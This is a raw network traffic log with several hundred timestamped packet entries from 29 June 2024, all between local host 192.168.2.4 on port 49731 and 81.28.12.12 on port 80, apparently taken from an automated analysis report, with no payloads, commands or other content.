Jun 29, 2024 08:05:19.025300026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025365114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025398016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025449038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025454998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025481939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025501013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025609970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025660038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025669098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025693893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025712013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025727987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025738001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025760889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025777102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025793076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025814056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025826931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025859118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025877953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025892973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025913000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025926113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025938034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025958061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025964022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025990009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.026025057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.026042938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.026081085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.035965919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036036015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036093950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036139965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036175013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036206961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036207914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036226034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036261082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036261082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036295891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036326885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036329985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036345005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036364079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036381006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036408901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036417961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036451101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036475897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036509037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036516905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036556005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036566973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036602020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.036617041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.036648989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.038991928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039046049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039079905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039083958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039124012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039130926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039176941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039195061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039211988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039225101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039262056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039264917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039299011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039314985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039331913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039351940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039383888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039417028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039450884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039469004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039484024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039490938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039518118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039536953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039551020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039566040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039583921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039603949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039619923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039633989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039654016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039686918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039702892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039724112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039731026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039773941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039808035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039835930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039839983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039856911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039875031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039900064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039907932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039928913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039942980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.039952040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.039975882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040010929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040028095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040071011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040435076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040505886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040550947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040570021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040600061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040601969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040635109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040652037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040668964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040688992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040703058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040735960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040762901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040765047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040781021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040813923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040816069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040849924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040868998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040883064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040900946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040915966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040937901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040950060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040975094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.040983915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.040992022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041018963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041028976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041065931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041084051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041134119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041168928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041186094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041188955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041218042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041259050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041270018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041296005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041302919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041341066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041357994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041371107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041420937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041424036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041452885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041486025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041520119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041521072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041542053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041553974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041568995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041588068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041601896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041620016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.041632891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.041667938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.044977903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045030117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045033932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.045083046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045090914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.045119047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045167923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045176983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.045202017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045218945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.045236111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.045255899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.045278072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051273108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051335096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051383018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051413059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051454067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051465034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051515102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051517010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051551104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051562071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051584959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051619053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.051625013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051645994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.051670074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114653111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114711046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114743948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114779949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114797115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114824057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114841938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114849091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114882946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114897966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114916086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114938021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114949942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114960909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.114981890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.114995003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115031004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115052938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115086079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115107059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115119934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115153074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115154028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115180969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115185976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115221024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115231991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115256071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115276098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115281105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115314007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115331888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115355968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115366936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115402937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115422964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115437031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115467072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115468979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115489960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115503073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115520954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115536928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115556002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115569115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115585089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115602970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115627050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115636110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115657091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115668058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115690947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115703106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115715981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.115742922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.115797997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.139954090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.139987946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140024900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140054941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140055895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140075922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140103102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140110016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140124083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140146017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140165091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140182018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140202045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140238047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140250921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140283108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140316010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140335083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140369892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140373945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140405893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140451908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140456915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140472889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140522957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.140553951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.140573978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147407055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147460938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147464991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147494078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147507906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147583961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147588968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147627115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147664070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147680998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147684097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147713900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147736073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147749901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147770882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147784948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147799015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147819042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147845030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147865057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147886038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147917986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.147933006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147969961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.147970915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148005009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148024082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148041010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148056030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148093939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148127079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148128986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148159981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148169041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148169041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148211956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148245096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148252964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148277044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148278952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148299932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148307085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148328066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148343086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148391962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148405075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148425102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148438931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148467064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148475885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148521900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148538113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148571968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148590088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148607016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148629904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148641109 CEST	80	49731	81.28.12.12	192.168.2.4
